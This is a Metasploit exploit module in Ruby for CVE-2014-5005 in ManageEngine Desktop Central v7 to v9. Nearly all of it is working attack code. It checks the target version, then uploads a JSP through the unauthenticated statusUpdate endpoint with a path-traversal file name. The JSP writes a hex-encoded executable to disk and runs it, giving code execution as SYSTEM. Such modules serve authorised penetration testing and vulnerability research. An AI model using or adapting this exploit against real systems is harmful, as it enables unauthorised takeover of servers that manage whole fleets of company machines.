ManageEngine Desktop Central StatusUpdate Arbitrary File Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral
          v7 to v9 build 90054 (including the MSP versions).
          A malicious user can upload a JSP file into the web root without authentication, leading to
          arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as
          they do not ship with a bundled Java compiler.
        },
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2014-5005'],
          ['OSVDB', '110643'],
          ['URL', 'https://seclists.org/fulldisclosure/2014/Aug/88']
        ],
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'Targets' => [
          [ 'Desktop Central v7 to v9 build 90054 / Windows', {} ]
        ],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-08-31',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(8020)])
  end

  # Test for Desktop Central
  def check
    res = send_request_cgi({
      'uri' => normalize_uri("configurations.do"),
      'method' => 'GET'
    })

    if res && res.code == 200
      build = nil

      if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
         res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7

        print_status("Detected Desktop Central v7")
      elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
            res.body.to_s =~ /ManageEngine Desktop Central MSP 8/

        if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/  # DC v8 (later versions)
          build = $1
          print_status("Detected Desktop Central v8 #{build}")
        else                                                     # DC v8 (earlier versions)
          print_status("Detected Desktop Central v8")
        end
      elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
        build = $1
      end

      if build.nil?
        return Exploit::CheckCode::Unknown('Could not determine the target status')
      elsif Rex::Version.new(build) < Rex::Version.new("90055")
        return Exploit::CheckCode::Appears("Detected vulnerable version: #{build}")
      else
        return Exploit::CheckCode::Safe("Target is not vulnerable based on version: #{build}")
      end
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end

  def exploit
    print_status("Uploading JSP to execute the payload")

    exe = payload.encoded_exe
    exe_filename = rand_text_alpha_lower(8) + ".exe"

    jsp_payload = jsp_drop_and_execute(exe, exe_filename)
    jsp_name = rand_text_alpha_lower(8) + ".jsp"

    send_request_cgi({
      'uri' => normalize_uri('statusUpdate'),
      'method' => 'POST',
      'data' => jsp_payload,
      'ctype' => 'text/html',
      'vars_get' => {
        'actionToCall' => 'LFU',
        'configDataID' => '1',
        'customerId' => rand_text_numeric(4),
        'fileName' => '../' * 6 << jsp_name
      }
    })
    # We could check for HTTP 200 and a "success" string.
    # However only some later v8 and v9 versions return this; and we don't really care
    # and do a GET to the file we just uploaded anyway.

    register_files_for_cleanup(exe_filename)
    register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}")

    print_status("Executing payload")
    send_request_cgi(
      {
        'uri' => normalize_uri(jsp_name),
        'method' => 'GET'
      }
    )
  end

  def jsp_drop_bin(bin_data, output_file)
    jspraw = %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

    jspraw << %Q|int numbytes = data.length();\n|

    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
    jspraw << %Q|{\n|
    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw << %Q|  comb <<= 4;\n|
    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
    jspraw << %Q|}\n|

    jspraw << %Q|outputstream.write(bytes);\n|
    jspraw << %Q|outputstream.close();\n|
    jspraw << %Q|%>\n|

    jspraw
  end

  def jsp_execute_command(command)
    jspraw = %Q|\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw << %Q|%>\n|

    jspraw
  end

  def jsp_drop_and_execute(bin_data, output_file)
    jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
  end
end